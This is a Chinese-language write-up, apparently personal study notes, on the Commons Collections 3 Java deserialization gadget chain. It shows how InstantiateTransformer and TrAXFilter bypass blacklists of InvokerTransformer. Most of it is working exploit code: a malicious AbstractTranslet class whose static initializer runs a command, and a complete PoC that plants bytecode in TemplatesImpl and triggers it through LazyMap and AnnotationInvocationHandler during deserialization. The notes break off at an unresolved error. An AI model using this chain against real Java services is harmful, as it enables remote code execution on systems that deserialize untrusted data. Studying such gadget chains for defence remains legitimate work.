省流
SerialKiller
可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的
类,其中限制了cc1和cc2中命令执行的类,InvokerTransformer
cc3
就是为了绕过对其的限制,这里使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
来执行
也就是TrAXFilter
的构造方法中templates.newTransformer()· 调⽤到
TemplatesImpl`⾥的字节码
下面来看看当没有了invokerTransformer
该如何调用任意方法
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
判断参数如果是class
类型的
就会创建一个类的构造器并且调用其构造方法
这里在同目录下写一个恶意程序让poc去调用
但是出现了空指针的报错
发现是在这个变量的地方出现的
那就想办法让其变量等于ABSTRACT_TRANSLET
if (superClass.getName().equals(ABSTRACT_TRANSLET))
也就是恶意类的父类要继承
即AbstractTranslet
再次执行就成功了
calc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class calc extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
当Instantiate Transformer
和TrAXFilter.TrAXFilter
成功绕过可以执行任意命令
后面的就和cc1
都一样了
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class temp = templates.getClass();
Field nameField = temp.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "ki10Moc");
Field bytecodesField = temp.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
// byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHgoABgARCgASABMIABQKABIAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAYAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAOVG91Y2hGaWxlLmphdmEMAAcACAcAGQwAGgAbAQAEY2FsYwwAHAAdAQAJVG91Y2hGaWxlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAACAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEAAEABEADQASAAsAAAAEAAEADAAJAA0ADgACAAkAAAAmAAIAAQAAAAq4AAISA7YABFexAAAAAQAKAAAACgACAAAAFgAJABcACwAAAAQAAQAMAAEADwAAAAIAEA==");
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field tfactoryField = temp.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl() {
});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
Object o = cons.newInstance(Retention.class, proxyMap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
}
恶意类在上面写了
小问题:
这里直接把字节码写上去却不能执行
报错